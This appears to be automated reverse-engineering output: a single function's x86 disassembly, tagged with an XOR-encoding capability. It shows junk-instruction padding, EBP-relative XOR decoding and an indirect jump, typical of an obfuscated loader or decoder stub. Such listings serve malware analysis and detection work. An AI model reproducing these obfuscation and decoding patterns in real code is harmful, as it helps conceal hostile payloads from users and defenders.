Function at 0x4ef610
Capabilities:
Encode data using xor

Disassembly:
sahf
cmp al, 0xdc
mov bh, 0xcf
scasb al, byte es:[edi]
sub byte [ebx], ch
xchg esp, eax
sbb dword [ecx + 0x49c86b64], ebp
add esi, dword [esi + 0x4a2be713]
jno 0x4ef62f
and ebx, dword [ebx + 1]
sbb edx, eax
lodsb al, byte [esi]
or al, 0x60
pushal
sub eax, 0xed1d3923
cmp eax, 0x1d8df827
xchg esi, eax
lea esp, [ecx + 0x6445f728]
pop ds
xor al, 0xde
mov eax, 0x31124d60
enter 0x4ed7, 0xffffffffffffffdb
push edi
xchg ebp, eax
pop ecx
cld
jno 0x4ef635
or ebp, dword fs:[edx - 0xd83275a]
adc cl, dl
adc byte [eax + 0x3f106e9], cl
add cl, ch
add cl, byte [edx + 2]
add byte [ecx - 0x4b3e7e17], cl
add byte [eax], al
add byte [ebx + 0xc18109], cl
add byte [eax], al
add byte [edi], cl
mov bh, 0x19
mov edx, ebp
add edx, 0x39
add ebx, dword [edx]
mov edi, ebp
mov esi, 0x200
or esi, 0x1c
add edi, 0xb4
sub esi, 0x400
mov edi, dword [edi]
add edi, 2
xor esi, esi
movzx esi, word [edi]
mov edi, ebp
add edi, 0x39
sub esi, dword [edi]
mov edi, ebp
add edi, 0x4e
xor esi, dword [edi]
mov edi, ebp
and ebx, 0x400
add edi, 0x39
add ebx, 4
sub dword [edi], esi
xor ebx, edx
mov edi, 0x200
mov eax, ebp
add eax, 0x5f
add eax, 0x40
mov ecx, ebp
add ecx, 0x4b
mov dl, byte [ecx]
cmp dl, 0xa8
jbe 0x4ef70f
or eax, 0x80
xor edi, ebx
add esi, 0x2b00c7f4
sub ebx, 0xffff
sub edi, 0x80
mov edi, ebp
add edi, 0x45
add ebx, 0x400
xor eax, 4
sub word [edi], si
mov edi, 0
mov esi, edx
mov edx, 0
mov ecx, edx
mov eax, ebp
add eax, 0xb4
and ebx, esi
or ebx, eax
mov eax, dword [eax]
sub ebx, edi
or esi, 0x7fffffff
add eax, 0
and ecx, 0x28
mov dx, word [eax]
or edi, ebx
mov edi, ebp
xor esi, 0x20
add edi, 0x39
xor ecx, 0x7fffffff
xor edx, dword [edi]
mov edi, 0x400
xor esi, 0x7fffffff
mov eax, ebp
xor ecx, ebx
sub edi, 0x24
add eax, 0x5b
add edx, dword [eax]
xor ebx, 0x20
add esi, edi
or esi, 0x400
mov ecx, ebp
add ecx, 0x39
sub dword [ecx], edx
mov eax, ebp
mov ecx, 0xa
sub esi, 0x800
add eax, 0x5f
or edi, edi
mov edi, 0x200
add dword [eax], 0x4b7e7a70
mov edi, ebp
xor ebx, 0x80
add edi, 0x4c
and ebx, esi
add ecx, ecx
xor word [edi], dx
sub esi, edi
mov edx, ebp
sub esi, ebx
mov ebx, ebp
add edx, 0x4c
and eax, 0xffff
add edi, 4
add ebx, 0x45
movzx edx, word [edx]
add eax, 0x1c
xor dx, 0x832d
add eax, esi
or eax, esi
movzx edx, dx
movzx ebx, word [ebx]
mov esi, 0
xor bx, 0x7bee
mov edi, ebx
xor edi, 0x800
mov edi, 0x200
add edx, ebp
movzx ebx, bx
add ebx, ebp
xor esi, 0x400
mov edx, dword [edx]
or word [ebx], dx
pushfd
mov ecx, 0
mov esi, ebp
add esi, 0xb4
mov esi, dword [esi]
xor edi, edx
or edi, 0x400
sub eax, 0xffff
add esi, 4
mov ebx, 0xa
and edi, 0x400
mov cl, byte [esi]
cmp cl, 0
je 0x4ef8ab
xor eax, edi
and eax, 0x1c
mov esi, ebp
mov eax, 0xa
add esi, 0xb4
mov eax, edx
mov esi, dword [esi]
xor ebx, edi
add esi, 5
mov cx, word [esi]
and eax, eax
add ecx, ebp
sub ebx, 1
pop edx
mov dword [ecx], edx
jmp 0x4ef8b6
pop edx
mov eax, 0x400
mov eax, 0xa
add esi, 0x20
or edi, edx
xor esi, eax
mov ebx, ebp
xor edi, 0x800
mov ecx, ebp
sub esi, 1
add ecx, 0xb4
and eax, 0x800
add eax, ebx
mov ecx, dword [ecx]
add ecx, 7
movzx ecx, word [ecx]
or edi, ebx
add ebx, 0x2f
mov ebx, dword [ebx]
xor eax, 0x400
mov edx, ebp
add edx, 0x39
sub edi, 0x20
xor ecx, dword [edx]
or eax, 1
mov edi, 0x400
xor esi, 0x20
xor ecx, 0x3f074a89
sub esi, 0xffff
sub esi, 0x400
mov edx, ebp
add edx, 0x39
or esi, 0xffff
sub esi, 0x1c
and dword [edx], ecx
and esi, ecx
xor edi, edi
and ecx, 0xffff
shl ecx, 2
xor edi, esi
and edi, 0x20
and eax, ecx
mov edi, 0x400
add ebx, ecx
mov esi, dword [ebx]
mov eax, ebp
mov edx, edi
add eax, 0xb4
add edi, 0x800
mov edi, 0x200
mov ecx, 0xa
mov eax, dword [eax]
add edi, 0x20
mov ecx, 0xa
add eax, 9
xor ecx, edx
mov edx, 0
add edi, 0x40
mov ebx, dword [eax]
xor edi, 0x24
mov eax, ebp
sub edi, 0x20
add ecx, 0x80
or edx, ecx
add eax, 0xb4
add dword [eax], ebx
jmp esi